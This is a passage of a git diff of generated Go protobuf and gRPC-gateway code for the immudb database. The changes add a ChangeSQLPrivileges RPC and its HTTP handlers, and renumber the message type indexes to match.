83, // 103: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds + 83, // 104: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds + 78, // 105: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 + 78, // 106: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 78, // 107: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 + 78, // 108: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 + 78, // 109: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 + 79, // 110: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 + 78, // 111: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 + 78, // 112: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 + 78, // 113: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 78, // 114: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 78, // 115: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 78, // 116: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 + 80, // 117: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat + 78, // 118: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 + 83, // 119: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds + 78, // 120: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 78, // 121: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 121, // 122: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue + 98, // 123: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest + 38, // 124: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata + 100, // 125: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry + 40, // 126: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 43, // 127: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 132, // 128: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 133, // 129: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 134, // 130: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 135, // 131: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 2, // 132: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 2, // 133: immudb.schema.ChangeSQLPrivilegesRequest.action:type_name -> immudb.schema.PermissionAction + 0, // 134: immudb.schema.ChangeSQLPrivilegesRequest.privileges:type_name -> immudb.schema.SQLPrivilege + 70, // 135: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 110, // 136: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseInfo + 84, // 137: immudb.schema.DatabaseInfo.settings:type_name -> immudb.schema.DatabaseNullableSettings + 136, // 138: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry + 115, // 139: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 115, // 140: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 121, // 141: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 117, // 142: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 30, // 143: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 137, // 144: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 138, // 145: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 119, // 146: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 120, // 147: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 121, // 148: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 139, // 149: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 3, // 150: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 79, // 151: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 83, // 152: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds + 121, // 153: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 121, // 154: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 140, // 155: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 8, // 156: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 10, // 157: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 103, // 158: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 104, // 159: immudb.schema.ImmuService.ChangeSQLPrivileges:input_type -> immudb.schema.ChangeSQLPrivilegesRequest + 106, // 160: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 13, // 161: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 14, // 162: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 15, // 163: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 140, // 164: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 140, // 165: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 122, // 166: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 140, // 167: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 140, // 168: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 113, // 169: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 114, // 170: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 11, // 171: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 140, // 172: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 44, // 173: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 48, // 174: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 45, // 175: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 49, // 176: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 47, // 177: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 46, // 178: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 22, // 179: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 26, // 180: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 27, // 181: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 140, // 182: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 62, // 183: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 65, // 184: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 66, // 185: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 60, // 186: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 50, // 187: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 140, // 188: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 140, // 189: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 140, // 190: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 55, // 191: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 56, // 192: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 57, // 193: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 61, // 194: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 59, // 195: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 70, // 196: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 71, // 197: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 72, // 198: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 89, // 199: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 91, // 200: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 93, // 201: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 140, // 202: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 108, // 203: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 70, // 204: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 71, // 205: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 74, // 206: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 140, // 207: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 76, // 208: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 95, // 209: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 140, // 210: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 45, // 211: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 111, // 212: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 49, // 213: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 111, // 214: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 26, // 215: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 59, // 216: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 60, // 217: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 111, // 218: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 68, // 219: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 111, // 220: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 68, // 221: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest + 113, // 222: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 114, // 223: immudb.schema.ImmuService.UnarySQLQuery:input_type -> immudb.schema.SQLQueryRequest + 114, // 224: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 140, // 225: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 97, // 226: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 99, // 227: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 127, // 228: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 7, // 229: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 140, // 230: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 140, // 231: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 140, // 232: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 105, // 233: immudb.schema.ImmuService.ChangeSQLPrivileges:output_type -> immudb.schema.ChangeSQLPrivilegesResponse + 140, // 234: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 140, // 235: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 140, // 236: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 16, // 237: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 140, // 238: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 140, // 239: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 123, // 240: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 117, // 241: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 140, // 242: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 140, // 243: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 118, // 244: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 12, // 245: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 140, // 246: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 30, // 247: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 40, // 248: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 19, // 249: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 42, // 250: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 30, // 251: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 23, // 252: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 30, // 253: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 23, // 254: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 28, // 255: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 28, // 256: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 36, // 257: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 40, // 258: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 67, // 259: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 23, // 260: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 51, // 261: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 52, // 262: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 53, // 263: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 54, // 264: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 30, // 265: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 40, // 266: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 30, // 267: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 40, // 268: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 25, // 269: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 140, // 270: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 140, // 271: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 73, // 272: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 90, // 273: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 92, // 274: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 94, // 275: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 107, // 276: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 109, // 277: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 102, // 278: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 140, // 279: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 75, // 280: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 71, // 281: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 77, // 282: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 96, // 283: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 140, // 284: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 111, // 285: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 30, // 286: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 111, // 287: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 40, // 288: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 111, // 289: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 111, // 290: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 111, // 291: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 30, // 292: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 111, // 293: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 30, // 294: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 111, // 295: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk + 116, // 296: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 118, // 297: immudb.schema.ImmuService.UnarySQLQuery:output_type -> immudb.schema.SQLQueryResult + 118, // 298: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 118, // 299: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 118, // 300: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 101, // 301: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 128, // 302: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 229, // [229:303] is the sub-list for method output_type + 155, // [155:229] is the sub-list for method input_type + 155, // [155:155] is the sub-list for extension type_name + 155, // [155:155] is the sub-list for extension extendee + 0, // [0:155] is the sub-list for field type_name } func init() { file_schema_proto_init() } @@ -12272,7 +12501,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SetActiveUserRequest); i { + switch v := v.(*ChangeSQLPrivilegesRequest); i { case 0: return &v.state case 1: @@ -12284,7 +12513,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListResponse); i { + switch v := v.(*ChangeSQLPrivilegesResponse); i { case 0: return &v.state case 1: @@ -12296,7 +12525,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListRequestV2); i { + switch v := v.(*SetActiveUserRequest); i { case 0: return &v.state case 1: @@ -12308,7 +12537,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListResponseV2); i { + switch v := v.(*DatabaseListResponse); i { case 0: return &v.state case 1: @@ -12320,7 +12549,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseInfo); i { + switch v := v.(*DatabaseListRequestV2); i { case 0: return &v.state case 1: @@ -12332,7 +12561,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Chunk); i { + switch v := v.(*DatabaseListResponseV2); i { case 0: return &v.state case 1: @@ -12344,7 +12573,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UseSnapshotRequest); i { + switch v := v.(*DatabaseInfo); i { case 0: return &v.state case 1: @@ -12356,7 +12585,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLExecRequest); i { + switch v := v.(*Chunk); i { case 0: return &v.state case 1: @@ -12368,7 +12597,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLQueryRequest); i { + switch v := v.(*UseSnapshotRequest); i { case 0: return &v.state case 1: @@ -12380,7 +12609,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NamedParam); i { + switch v := v.(*SQLExecRequest); i { case 0: return &v.state case 1: @@ -12392,7 +12621,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLExecResult); i { + switch v := v.(*SQLQueryRequest); i { case 0: return &v.state case 1: @@ -12404,7 +12633,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CommittedSQLTx); i { + switch v := v.(*NamedParam); i { case 0: return &v.state case 1: @@ -12416,7 +12645,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLQueryResult); i { + switch v := v.(*SQLExecResult); i { case 0: return &v.state case 1: @@ -12428,7 +12657,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Column); i { + switch v := v.(*CommittedSQLTx); i { case 0: return &v.state case 1: @@ -12440,7 +12669,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Row); i { + switch v := v.(*SQLQueryResult); i { case 0: return &v.state case 1: @@ -12452,7 +12681,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLValue); i { + switch v := v.(*Column); i { case 0: return &v.state case 1: @@ -12464,7 +12693,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NewTxRequest); i { + switch v := v.(*Row); i { case 0: return &v.state case 1: @@ -12476,7 +12705,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NewTxResponse); i { + switch v := v.(*SQLValue); i { case 0: return &v.state case 1: @@ -12488,7 +12717,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ErrorInfo); i { + switch v := v.(*NewTxRequest); i { case 0: return &v.state case 1: @@ -12500,7 +12729,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DebugInfo); i { + switch v := v.(*NewTxResponse); i { case 0: return &v.state case 1: @@ -12512,7 +12741,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RetryInfo); i { + switch v := v.(*ErrorInfo); i { case 0: return &v.state case 1: @@ -12524,7 +12753,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TruncateDatabaseRequest); i { + switch v := v.(*DebugInfo); i { case 0: return &v.state case 1: @@ -12536,7 +12765,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TruncateDatabaseResponse); i { + switch v := v.(*RetryInfo); i { case 0: return &v.state case 1: @@ -12548,7 +12777,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Precondition_KeyMustExistPrecondition); i { + switch v := v.(*TruncateDatabaseRequest); i { case 0: return &v.state case 1: @@ -12560,7 +12789,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[124].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { + switch v := v.(*TruncateDatabaseResponse); i { case 0: return &v.state case 1: @@ -12572,6 +12801,30 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[125].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Precondition_KeyMustExistPrecondition); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schema_proto_msgTypes[126].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schema_proto_msgTypes[127].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition_KeyNotModifiedAfterTXPrecondition); i { case 0: return &v.state @@ -12594,7 +12847,7 @@ func file_schema_proto_init() { (*Op_ZAdd)(nil), (*Op_Ref)(nil), } - file_schema_proto_msgTypes[115].OneofWrappers = []interface{}{ + file_schema_proto_msgTypes[117].OneofWrappers = []interface{}{ (*SQLValue_Null)(nil), (*SQLValue_N)(nil), (*SQLValue_S)(nil), @@ -12608,8 +12861,8 @@ func file_schema_proto_init() { File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_schema_proto_rawDesc, - NumEnums: 3, - NumMessages: 133, + NumEnums: 4, + NumMessages: 135, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/schema/schema.pb.gw.go b/pkg/api/schema/schema.pb.gw.go index de98e2b20e..77fcc584da 100644 --- a/pkg/api/schema/schema.pb.gw.go +++ b/pkg/api/schema/schema.pb.gw.go @@ -154,6 +154,40 @@ func local_request_ImmuService_ChangePermission_0(ctx context.Context, marshaler } +func request_ImmuService_ChangeSQLPrivileges_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq ChangeSQLPrivilegesRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.ChangeSQLPrivileges(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_ChangeSQLPrivileges_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq ChangeSQLPrivilegesRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.ChangeSQLPrivileges(ctx, &protoReq) + return msg, metadata, err + +} + func request_ImmuService_SetActiveUser_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SetActiveUserRequest var metadata runtime.ServerMetadata @@ -1919,6 +1953,29 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux }) + mux.Handle("POST", pattern_ImmuService_ChangeSQLPrivileges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_ChangeSQLPrivileges_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, 